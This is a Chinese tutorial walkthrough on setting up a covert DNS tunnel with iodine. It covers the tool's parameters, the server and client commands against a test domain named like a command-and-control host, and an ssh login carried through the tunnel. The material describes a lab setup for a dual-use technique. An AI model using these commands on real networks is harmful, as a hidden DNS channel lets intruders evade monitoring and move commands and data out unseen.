内网DNS隐蔽隧道搭建之iodine工具

iodine

iodine是基于C语言开发的,分为服务端和客户端。iodine支持转发模式和中继模式。其原理是:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网(可以通过ping命令通信)。在客户端和服务器之间建立连接后,客户机上会多出一块名为dns0的虚拟网卡,所有指令数据等均可通过dns隧道进行传输。

目录

iodine

环境搭建

1、域名解析配置

DNS服务器配置

2、工具下载与安装

隧道搭建

1、服务端运行:

2、客户端运行:


环境搭建

1、域名解析配置

DNS服务器配置

可参考这篇文章:

win2003搭建DNS服务器&域名解析方法-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/huayimy/article/details/135391563?csdn_share_tail=%7B:,:,:,:%7D

2、工具下载与安装

Iodine下载地址 GitHub(Kali集成了此工具)

https://link.zhihu.com/?target=https%3A//github.com/yarrick/iodine

需要单独安装此工具可参考这篇文章,有安装过程

https://zhuanlan.zhihu.com/p/158584490

工具使用

参数:

-4 使用IPv4请求

-6 使用IPv6请求

-f 保持前台运行

-r 强制使用DNS隧道进行传输

-P password

-m 最大传输大小

-M 最大传输长度

-T 传输类型

-O 编码类型

隧道搭建

1、服务端运行:

iodined -f 192.168.0.1 test.dnsc2.com

# IP为用做dns隧道的单独的IP段,可随意写一个

# 域名为使用DNS服务器配置的测试域名,详细可参考这篇文章:

win2003搭建DNS服务器&域名解析方法-CSDN博客

内网DNS隐蔽隧道搭建之iodine工具_第1张图片

#密码随便写个,在客户端连接时会用到,比如123456

Listening to DNS for domain test.dnsc2.com,服务端开始监听所有 test.dnsc2.com的DNS请求,所有指令数据等均通过请求域名的子域进行传输,此时网卡处会多一个dns网卡

内网DNS隐蔽隧道搭建之iodine工具_第2张图片

2、客户端运行:

iodine -f -r 192.168.203.146 test.dnsc2.com

输入的密码和服务端设置的一样,123456

内网DNS隐蔽隧道搭建之iodine工具_第3张图片

Connected setup complete, transmitting data,客户端运行后,可以发送指令、连接ssh进行数据传输等等。

客户端的网卡处也新增了一个dns的网卡

内网DNS隐蔽隧道搭建之iodine工具_第4张图片

新开一个窗口,ssh连接一下服务端dns网卡的IP

ssh [email protected]

输入服务端的密码,隧道搭建成功了

内网DNS隐蔽隧道搭建之iodine工具_第5张图片

你可能感兴趣的:(系统设置,kali,黑客工具,网络,服务器,安全)